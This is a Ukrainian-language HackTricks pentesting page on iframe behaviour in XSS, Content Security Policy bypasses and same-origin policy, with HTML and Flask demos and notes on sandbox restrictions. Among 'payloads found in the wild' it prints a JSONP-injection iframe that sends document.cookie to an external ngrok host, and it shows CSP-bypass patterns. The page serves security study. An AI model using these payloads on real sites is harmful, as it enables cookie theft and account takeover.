Iframes in XSS, CSP and SOP

Support HackTricks

Iframes in XSS

Є 3 способи вказати вміст iframe-сторінки:

  • Через src, вказуючи URL (URL може бути крос-доменним або того ж домену)

  • Через src, вказуючи вміст, використовуючи протокол data:

  • Через srcdoc, вказуючи вміст

Доступ до змінних батьківського та дочірнього контексту

<html>
<script>
var secret = "31337s3cr37t";
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
</html>
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>

Якщо ви отримуєте доступ до попереднього html через http сервер (наприклад, python3 -m http.server), ви помітите, що всі скрипти будуть виконані (оскільки немає CSP, що цьому перешкоджає). батьківський контекст не зможе отримати доступ до змінної secret всередині жодного iframe і тільки iframes if2 та if3 (які вважаються такими ж сайтами) можуть отримати доступ до секрету в оригінальному вікні. Зверніть увагу, що if4 вважається таким, що має null походження.

Iframes з CSP

Зверніть увагу, що в наступних обходах відповідь на iframe-сторінку не містить жодного заголовка CSP, який заважає виконанню JS.

Значення self для script-src не дозволить виконання JS коду, використовуючи протокол data: або атрибут srcdoc. Однак навіть значення none для CSP дозволить виконання iframes, які вказують URL (повний або лише шлях) в атрибуті src. Отже, можливо обійти CSP сторінки за допомогою:

<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Зверніть увагу, що попередній CSP дозволяє виконання лише вбудованого скрипту. Однак, будуть виконані лише скрипти if1 та if2, але лише if1 зможе отримати доступ до секрету батьківського елемента.

Отже, можливо обійти CSP, якщо ви можете завантажити JS файл на сервер і завантажити його через iframe, навіть з script-src 'none'. Це можливо також зробити, зловживаючи кінцевою точкою JSONP того ж сайту.

Ви можете протестувати це за наступним сценарієм, де куки викрадаються навіть з script-src 'none'. Просто запустіть додаток і отримайте до нього доступ через ваш браузер:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Інші корисні навантаження, знайдені в дикій природі

<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

Вміст в iframe може підлягати додатковим обмеженням за допомогою атрибута sandbox. За замовчуванням цей атрибут не застосовується, що означає, що обмеження не діють.

Коли використовується, атрибут sandbox накладає кілька обмежень:

  • Вміст розглядається так, ніби він походить з унікального джерела.

  • Будь-яка спроба надсилання форм блокується.

  • Виконання скриптів заборонено.

  • Доступ до певних API вимкнено.

  • Запобігає взаємодії посилань з іншими контекстами перегляду.

  • Використання плагінів через <embed>, <object>, <applet> або подібні теги заборонено.

  • Навігація верхнього рівня контексту перегляду вмістом сама по собі заборонена.

  • Функції, які запускаються автоматично, такі як відтворення відео або автоматичне фокусування елементів форм, блокуються.

Значення атрибута можна залишити порожнім (sandbox=""), щоб застосувати всі вищезазначені обмеження. Альтернативно, його можна встановити на список специфічних значень, розділених пробілами, які звільняють iframe від певних обмежень.

<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Iframes в SOP

Перевірте наступні сторінки:

Bypassing SOP with Iframes - 1Bypassing SOP with Iframes - 2Blocking main page to steal postmessageSteal postmessage modifying iframe location
Підтримати HackTricks

Last updated